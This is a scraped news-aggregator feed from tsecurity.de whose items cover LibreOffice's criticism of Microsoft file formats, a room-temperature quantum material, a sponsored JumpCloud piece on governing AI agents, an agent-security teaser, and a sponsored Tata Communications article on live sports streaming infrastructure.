@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
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<title><![CDATA[LibreOffice Once Again Slams Microsoft For Using 'Lock-In' With Office Files]]></title>
<description><![CDATA[An anonymous reader quotes a report from XDA Developers: One of the founding members of The Document Foundation and handler of LibreOffice's PR and media relations, Italo Vignoli, took to the LibreOffice blog to call out Microsoft's practices with its Office application. The last time we saw Vign...]]></description>
<link>https://tsecurity.de/de/3681703/it-security-nachrichten/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681703/it-security-nachrichten/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from XDA Developers: One of the founding members of The Document Foundation and handler of LibreOffice's PR and media relations, Italo Vignoli, took to the LibreOffice blog to call out Microsoft's practices with its Office application. The last time we saw Vignoli take to the stage, we saw him accusing Euro-Office of being just as bad as Microsoft with its practices. Vignoli's new post focuses entirely on Microsoft's strategy. He says that "the dominant format for office documents" is owned by Microsoft Office, particularly the DOCX, XLSX, and PPTX formats. The problem with these formats, Vignoli states, is that they "belong to Microsoft, are controlled by Microsoft and serve Microsoft's interest." This makes it difficult for other formats to take hold.
 
Vignoli explains his point by stating that open document formats don't hide anything. People developing their own apps can use the format to both read and write the document format with perfection. Meanwhile, proprietary formats such as Microsoft's "contain undocumented features, private extensions or behaviors" that developers can't fully adapt to. That means that a presentation that looks great in the source software comes out strange when rebuilt in a third-party app. This, Vignoli says, is a huge issue [...]. Vignoli claims this creates a huge issue with document preservation. If a Word document was saved in one version of Office, will it still be readable in 20 years? Microsoft has added legacy support to its software before, but the company can one day decide that it's not worth the effort anymore and cut it out. When that happens, you have old documents that are either jumbled or unable to be opened at all.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/20/0431217/libreoffice-once-again-slams-microsoft-for-using-lock-in-with-office-files?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[LSU Physicists Create First Room-Temperature Quantum Material]]></title>
<description><![CDATA[Researchers at Louisiana State University have created a room-temperature quantum material made from a thin gold film on glass, patterned with microscopic slits that act like artificial atoms. "We call this robust transport. These quantum states carry information," says physicist Omar Magana-Loai...]]></description>
<link>https://tsecurity.de/de/3681683/it-security-nachrichten/lsu-physicists-create-first-room-temperature-quantum-material/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681683/it-security-nachrichten/lsu-physicists-create-first-room-temperature-quantum-material/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers at Louisiana State University have created a room-temperature quantum material made from a thin gold film on glass, patterned with microscopic slits that act like artificial atoms. "We call this robust transport. These quantum states carry information," says physicist Omar Magana-Loaiza. "Our crystal can distinguish them and move them from one point to another in a robust way without requiring cryogenic cooling. That's what opens the door to practical quantum technologies." ScienceAlert reports: Crucial to the new material's room-temperature operation is the way it shifts the focus from electrons and atoms to photons (particles of light). This overcomes the usual atomic-level disruption that heat brings with it. The material is what's known as a plasmonic metacrystal: 'Plasmonic' because the light traveling over it makes ripples of electrons known as plasmons, and 'metacrystal' because it's an artificially created crystal. The tiny slit patterns etched into the material act as artificial atoms (meta-atoms), which dictate how different photon groups pass through (the quantum behavior).
 
"By engineering the distribution of meta-atoms in the plasmonic metacrystal, we can systematically dictate which quantum statistics are allowed to pass through the structure," says physicist Riley Dawkins. "So, our crystal essentially acts as a statistical filter on quantum states." That means as light enters the chip and travels across the gold surface, it's manipulated by the meta-atoms -- and by tweaking the size, shape, and spacing of the slits, different end results can be produced at the quantum level. In practice, this means that certain quantum states of light can be transported with less disruption. The findings have been published in the journal Nature.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/20/0438205/lsu-physicists-create-first-room-temperature-quantum-material?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<item>
<title><![CDATA[AI confidence just dropped 17 points in six months. That’s actually great news.]]></title>
<description><![CDATA[Presented by JumpCloudThe organizations losing confidence in AI are the ones most likely to get it right.Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.We r...]]></description>
<link>https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</link>
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<pubDate>Mon, 20 Jul 2026 18:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by JumpCloud</i></p><hr><p><b><i>The organizations losing confidence in AI are the ones most likely to get it right.</i></b></p><p>Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. <a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><u>Today that number is 23%</u></a>. Before you read that as a setback, consider what it actually reflects.</p><p>We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.</p><p>That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.</p><h2>Deployment was the easy part</h2><p>84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.</p><p>In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.</p><p>The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.</p><h2>The gap between perception and reality is where risk accumulates</h2><p>The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.</p><p>The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.</p><p>The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.</p><h2>The governance gap has a specific shape</h2><p>The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.</p><p>Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.</p><p>The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.</p><h2>What the confidence drop is actually telling us</h2><p>When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.</p><p>The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.</p><p>84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.</p><p><i>JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available </i><a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><i><u>here</u></i></a><i>. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.</i></p><p><i>Rajat Bhargava is CEO and Co-founder at JumpCloud.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[The Agent Security Split: Tool Layer vs Sandbox Layer]]></title>
<description><![CDATA[When an enterprise asks, “Is your agent platform secure?”, the question is almost always a bundle of two distinct architectural concerns: Tool layer: Can the agent only call the tools we approved? Are the tool inputs and outputs validated? Are…
Read more →
The post The Agent Security Split: Tool ...]]></description>
<link>https://tsecurity.de/de/3681552/it-security-nachrichten/the-agent-security-split-tool-layer-vs-sandbox-layer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681552/it-security-nachrichten/the-agent-security-split-tool-layer-vs-sandbox-layer/</guid>
<pubDate>Mon, 20 Jul 2026 17:20:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When an enterprise asks, “Is your agent platform secure?”, the question is almost always a bundle of two distinct architectural concerns: Tool layer: Can the agent only call the tools we approved? Are the tool inputs and outputs validated? Are…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-agent-security-split-tool-layer-vs-sandbox-layer/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-agent-security-split-tool-layer-vs-sandbox-layer/">The Agent Security Split: Tool Layer vs Sandbox Layer</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



